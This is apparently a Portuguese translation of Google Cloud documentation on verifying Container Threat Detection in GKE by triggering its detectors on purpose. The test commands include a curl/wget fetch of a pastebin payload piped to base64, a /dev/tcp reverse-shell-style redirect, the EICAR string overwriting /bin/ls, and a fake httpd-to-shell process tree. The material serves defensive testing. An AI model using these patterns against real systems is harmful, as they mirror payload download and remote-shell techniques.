Como testar o Container Threat Detection

Nesta página, explicamos como verificar se o Container Threat Detection está funcionando por meio do acionamento intencional de detectores e da verificação de descobertas. O Container Threat Detection é um serviço integrado para o nível Premium do Security Command Center. Para ver as descobertas do Container Threat Detection, é preciso ativá-la nas configurações de Serviços do Security Command Center.

Antes de começar

Para detectar possíveis ameaças aos contêineres, verifique se os clusters estão em uma versão compatível do Google Kubernetes Engine (GKE). Para mais informações, consulte Como usar uma versão compatível do GKE.

Defina as variáveis de ambiente

Para testar os detectores, use o Console do Google Cloud e o Cloud Shell. É possível definir variáveis de ambiente no Cloud Shell para facilitar a execução de comandos. As variáveis a seguir são usadas para testar todos os detectores do Container Threat Detection.

  1. Acesse o Console do Google Cloud.

    Acesse o console do Google Cloud

  2. Selecione o projeto que contém o contêiner que você quer usar.

  3. Clique em Ativar o Cloud Shell.

  4. No Cloud Shell, defina as variáveis de ambiente:

    1. A zona em que seu cluster está:

      export ZONE=CLUSTER_ZONE
      
    2. O projeto em que o contêiner está:

      export PROJECT=PROJECT_ID
      
    3. O nome do cluster:

      export CLUSTER_NAME=CLUSTER_NAME
      

As variáveis são definidas. As seções a seguir incluem instruções para testar detectores do Container Threat Detection.

Adição de binário executado

Para acionar uma descoberta de adição de binário executado, solte um binário no contêiner e execute-o. Este exemplo implanta a imagem mais recente do Ubuntu 18.04, copia o /bin/ls para outro local e o executa. A execução do binário é inesperada porque a cópia do binário não fazia parte da imagem do contêiner original, mesmo quando essa imagem estava no Ubuntu 18.04 e os contêineres eram imutáveis.

  1. Definir as variáveis de ambiente.

  2. Use o Cloud Shell para acessar o plano de controle do cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Solte um binário e execute-o:

    tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    kubectl run --restart=Never --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu1804:latest \
    "$tag" -- bash -c "cp /bin/ls /tmp/$tag; /tmp/$tag"
    

Este procedimento de teste criará uma descoberta executada em binário que você possa ver no Security Command Center e no Cloud Logging se tiver configurado o Logging para detecção de ameaças do contêiner. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium do Security Command Center.

Para reduzir o ruído, quando você cria um contêiner, o Container Threat Detection filtra temporariamente as descobertas adicionadas executadas em binário. Para ver todas as descobertas executadas binárias adicionadas enquanto um contêiner está sendo configurado, insira o prefixo ktd-test no nome do contêiner ou do pod, como no exemplo.

Adição de biblioteca carregada

Para acionar uma adição de biblioteca carregada, solte uma biblioteca no contêiner e carregue-a. Este exemplo implanta a imagem mais recente do Ubuntu 18.04, copia o /lib/x86_64-linux-gnu/libc.so.6 para outro local e, em seguida, carrega usando ld. A biblioteca carregada é inesperada porque a cópia da biblioteca não fazia parte da imagem do contêiner original, mesmo que essa imagem estivesse no Ubuntu 18.04 e os contêineres fossem imutáveis.

  1. Definir as variáveis de ambiente.

  2. Use o Cloud Shell para acessar o plano de controle do cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Solte uma biblioteca e use ld para carregá-la:

    tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    kubectl run --restart=Never --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu1804:latest \
    "$tag" -- bash -c "cp /lib/x86_64-linux-gnu/libc.so.6 /tmp/$tag; /lib64/ld-linux-x86-64.so.2 /tmp/$tag"
    

Esse procedimento de teste criará uma biblioteca adicionada carregada que pode ser visualizada no Security Command Center e no Cloud Logging se você tiver configurado o Logging para detecção de ameaças do contêiner. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium do Security Command Center Premium no nível da organização.

Para a redução de ruído, quando você cria um contêiner, o Container Threat Detection filtra temporariamente as descobertas adicionadas carregadas na biblioteca. Para consultar todas as descobertas adicionadas carregadas na biblioteca enquanto um contêiner está sendo configurado, insira o prefixo ktd-test no nome do contêiner ou do pod, como no exemplo.

Execução: binário malicioso executado

Para acionar uma execução: adicione uma descoberta executada de binário malicioso, solte um binário malicioso no seu contêiner e execute-o. Este exemplo implanta a imagem mais recente do Ubuntu 18.04, cria um arquivo malicioso simulado e o executa. A execução do binário é inesperada porque o binário malicioso simulado não fazia parte da imagem do contêiner original, e o binário é um arquivo de teste EICAR, um arquivo classificado como malicioso pela inteligência contra ameaças.

  1. Definir as variáveis de ambiente.

  2. Use o Cloud Shell para acessar o plano de controle do cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Solte o binário EICAR e execute-o:

    tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
    kubectl run --restart=Never --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu1804:latest \
    "$tag" -- bash -c \
    "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; ./tmp/test_mal_file; sleep 10"
    

Este procedimento de teste deve criar uma descoberta "Execução: adição de binários maliciosos executados" que pode ser visualizada no Security Command Center e no Cloud Logging se você tiver configurado o Logging para detecção de ameaças de contêiner. A visualização das descobertas no Cloud Logging só estará disponível se você ativar o nível Premium do Security Command Center.

Para redução de ruído, quando você cria um contêiner pela primeira vez, o Container Threat Detection filtra temporariamente "Execução: adição de descobertas de binários maliciosos executados". Para ver toda a execução: foram adicionadas descobertas binárias maliciosas executadas enquanto um contêiner está sendo configurado, use ktd-test como prefixo do nome do contêiner ou do pod, como no exemplo.

Execução: binário malicioso modificado, executado

Para acionar uma descoberta de execução: binário malicioso modificado executado, modifique e execute um binário malicioso no seu contêiner. Este exemplo implanta a imagem mais recente do Ubuntu 18.04, modifica /bin/ls para um arquivo malicioso simulado e o executa. A execução do binário é inesperada porque o /bin/ls é modificado durante o ambiente de execução do contêiner como um binário malicioso simulado, e o binário é um arquivo de teste EICAR, um arquivo classificado como malicioso pela inteligência contra ameaças.

um arquivo malicioso de teste EICAR (em inglês) e o executa. A execução do binário é inesperada porque o /bin/ls criado é modificado durante o ambiente de execução do contêiner como um EICAR que testa binários maliciosos, e o binário EICAR é um arquivo malicioso conhecido, de acordo com a inteligência contra ameaças.

  1. Definir as variáveis de ambiente.

  2. Use o Cloud Shell para acessar o plano de controle do cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Solte o binário EICAR e execute-o:

    tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
    kubectl run --restart=Never --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu1804:latest \
    "$tag" -- bash -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"
    

Este procedimento de teste deve criar uma descoberta "Execução: binário malicioso executado" que pode ser visualizada no Security Command Center e no Cloud Logging, se você tiver configurado o Logging para o Container Threat Detection. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium do Security Command Center.

Para redução de ruído, quando você cria um contêiner pela primeira vez, o Container Threat Detection filtra temporariamente "Execução: descobertas de binários maliciosos modificados executados". Para ver todas as descobertas de "Execução: binário malicioso executado" durante a configuração de um contêiner, adicione ktd-test como prefixo do nome do contêiner ou do pod, como no exemplo.

Script malicioso executado

Para acionar uma descoberta de script malicioso, execute o script no procedimento a seguir no seu contêiner.

O procedimento implanta a imagem mais recente do Ubuntu 18.04, copia um script que parece malicioso e o executa. Para acionar uma detecção, um script precisa aparecer como malicioso para o detector.

  1. Definir as variáveis de ambiente.

  2. Use o Cloud Shell para acessar o plano de controle do cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Execute o script a seguir em um novo contêiner.

    Esse script de shell bash inline se originou de um honeypot (link em inglês). No entanto, ele foi modificado para não executar o binário malicioso. Portanto, a execução do script não causará atividades maliciosas no contêiner. O binário no URL referenciado pode ter sido removido, e a tentativa de seguir o URL resultará em um erro 404. Isso já era esperado. A tentativa de fazer o download, decodificar e executar um binário usando um script inline é o que aciona a detecção.

     tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run --restart=Never --rm=true  -i \
     --image marketplace.gcr.io/google/ubuntu1804:latest "$tag" \
      -- bash -c "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"
    

Este procedimento de teste cria uma descoberta de script malicioso executado que você pode ver no Security Command Center e no Cloud Logging se tiver configurado a geração de registros para o Container Threat Detection. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium do Security Command Center Premium no nível da organização.

URL malicioso observado

Para acionar uma descoberta de URL malicioso observado, execute um binário e forneça um URL malicioso como um argumento.

O exemplo a seguir implanta uma imagem do Ubuntu 18.04 e executa /bin/curl para acessar um exemplo de URL do malware do serviço Navegação segura.

  1. Definir as variáveis de ambiente.

  2. Use o Cloud Shell para acessar o plano de controle do cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Execute curl e forneça um URL malicioso como um argumento:

       tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
       url="https://testsafebrowsing.appspot.com/s/malware.html"
       kubectl run --restart=Never --rm=true -i \
       --image marketplace.gcr.io/google/ubuntu1804:latest \
       "$tag" -- bash -c "curl $url | cat"
    

Este procedimento de teste aciona uma descoberta de URL malicioso observado que você pode ver no Security Command Center e, se você tiver configurado o Logging para o Container Threat Detection, no Cloud Logging. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium do Security Command Center Premium no nível da organização.

Shell reverso

Para acionar uma descoberta de shell reverso, inicie um binário com redirecionamento stdin para um soquete conectado TCP. Neste exemplo, /bin/echo é iniciado com redirecionamento para o DNS público do Google 8.8.8.8 na porta DNS. Nada é impresso quando você executa este exemplo. Para evitar qualquer injeção de código externo por meio de um ataque intermediário (MITM), este exemplo não usa o /bin/bash binary.

  1. Definir as variáveis de ambiente.

  2. Use o Cloud Shell para acessar o plano de controle do cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Inicie um binário com redirecionamento /bin/echo para o DNS público do Google:

    tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    kubectl run --restart=Never --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu1804:latest \
    "$tag" -- bash -c "/bin/echo >& /dev/tcp/8.8.8.8/53 0>&1"
    

Este procedimento de teste criará uma descoberta de shell reverso que pode ser vista no Security Command Center e no Cloud Logging, se você tiver configurado o Logging para Container Threat Detection. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium do Security Command Center Premium no nível da organização.

Shell filho inesperado

Para testar o detector Unexpected Child Shell, crie uma árvore de processos que inclua um processo de shell filho.

O exemplo a seguir cria uma árvore de processo httpd->dash, que pode ser detectada pelo detector Unexpected Child Shell. Esse teste é seguro porque usa apenas binários integrados. Este exemplo faz o seguinte:

  1. Cria uma cópia do processo bash e a nomeia como httpd.
  2. Copia o processo echo e o nomeia como dash.
  3. Invoca o processo dash copiado no processo httpd copiado.

Para acionar uma descoberta de Unexpected Child Shell, faça o seguinte:

  1. Definir as variáveis de ambiente.

  2. Use o Cloud Shell para acessar o plano de controle do cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Faça com que o processo httpd simulado invoque um shell simulado:

    tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    kubectl run --restart=Never --rm=true -ti \
    --image ubuntu "$tag" --command \
    -- /bin/sh -c 'cp /bin/bash /tmp/httpd; cp /bin/echo /tmp/bash; \
    /tmp/httpd -c "/tmp/bash child ran successfully & wait"'
    

Esse procedimento de teste cria uma descoberta Unexpected Child Shell que pode ser visualizada no Security Command Center. Se você configurou o Logging para o Container Threat Detection e ativou o nível Premium do Security Command Center no nível da organização, também será possível ver a descoberta no Cloud Logging.

OBSERVAÇÃO: a parte & wait do comando de teste acima é importante. A versão de Acesso antecipado do detector de shell filho inesperado só pode capturar processos pai que fork e, em seguida, exec um novo shell. Se a parte "& esperar" do comando for omitida, o detector não poderá capturar o evento.

A seguir